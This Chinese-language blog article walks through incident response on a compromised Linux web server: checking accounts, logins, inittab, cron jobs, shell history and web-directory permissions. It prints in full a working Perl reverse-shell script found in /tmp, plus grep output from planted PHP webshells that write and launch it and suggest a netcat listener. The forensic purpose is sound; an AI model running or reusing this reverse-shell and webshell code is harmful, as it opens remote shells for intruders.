Web服务器中如何排查病毒

发布时间:2021-11-17 09:56:48 作者:小新
来源:亿速云 阅读:195

这篇文章主要介绍Web服务器中如何排查病毒,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为×××网站。 

马上登录服务器(半夜好困啊)。执行如下的步骤:

<!--[if !supportLists]-->  1、 <!--[endif]-->检查系统帐号,看有没有异常帐号--如冒充系统帐号,改一个字母,看起来像系统帐号,混淆视听。有的家伙狡猾的干活,创建个帐号为“…”极端不易察觉。

<!--[if !supportLists]-->  2、 <!--[endif]-->检查最近登录用户的ip:last 查看9月9号以后到目前的情况,经确认,有一个ip来路不对。

<!--[if !supportLists]-->  3、 <!--[endif]-->检查系统初始化文件inittab,运行级别为3,为发现异常。一些hacker喜欢在这里下手,加上respawn这样的行,保证他的程序被杀后自动重启,不屈不挠地抗争系统管理员的绞杀。

<!--[if !supportLists]-->  4、 <!--[endif]-->检查运行级别目录的脚本,ls –al /etc/rc3.d ,未见异常。

<!--[if !supportLists]-->  5、 <!--[endif]-->检查自动任务 crontab –l ,root用户和web运行用户www各检查一遍,未见任何异常。

<!--[if !supportLists]-->  6、 <!--[endif]-->检查历史记录history 发现有安装sendmail的情形,问客户是否有这个,答:不是自己装的。

<!--[if !supportLists]-->  7、 <!--[endif]-->检查web目录,发现其权限为777,这可让人不太放心了,心中猜想,可能是从这里下手了。

<!--[if !supportLists]-->  8、 <!--[endif]-->检查一下目录/tmp,发现有个文件不太对劲,文件名是spider_bc,打开看一下,是个perl脚本,其内容为:

[root@localhost mysql]#       more /tmp/spider_bc    

#!/usr/bin/perl

use Socket;

$cmd= "lynx";

$system= 'echo "`uname -a`";echo"`id`";/bin/sh';

$0=$cmd;

$target=$ARGV[0];

$port=$ARGV[1];

$iaddr=inet_aton($target) || die("Error: $!\n");

$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");

$proto=getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET, $paddr) || die("Error: $!\n");

open(STDIN, ">&SOCKET");

open(STDOUT, ">&SOCKET");

open(STDERR, ">&SOCKET");

system($system);

close(STDIN);

close(STDOUT);

close(STDERR);

   据客户开发人员反应,这文件删除以后,一会又自动生成了。

<!--[if !supportLists]-->  9、 <!--[endif]-->初步怀疑是hacker利用web权限设置及程序漏洞上传了程序后,自动生成这个文件,于是进入到网站根目录,然后执行grep –r “spider” * ,片刻,结果出来了,下面节录部分:

[root@localhost www]#       grep spider_bc * -r    

/plusbak/viev.      php:                              echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/plusbak/viev.      php:                              echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/plusbak/viev.      php:                              echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/plusbak/viev.      php:                              @unlink('/tmp/spider_bc.c');    

/plusbak/viev.      php:                              echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           @unlink('/tmp/spider_bc.c');    

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql.      php :                            echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/developers/developers/cache/default/index_sql.      php :                            echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql.      php :                            echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/developers/developers/cache/default/index_sql.      php :                            @unlink('/tmp/spider_bc.c');    

/developers/developers/cache/default/index_sql.      php :                            echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

以上是“Web服务器中如何排查病毒”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注亿速云行业资讯频道!

推荐阅读:
  1. Jvm中old过高如何排查
  2. sql server中怎么排查死锁

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

web web服务器

上一篇:google浏览器如何取消自动升级

下一篇:jquery如何获取tr里面有几个td

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》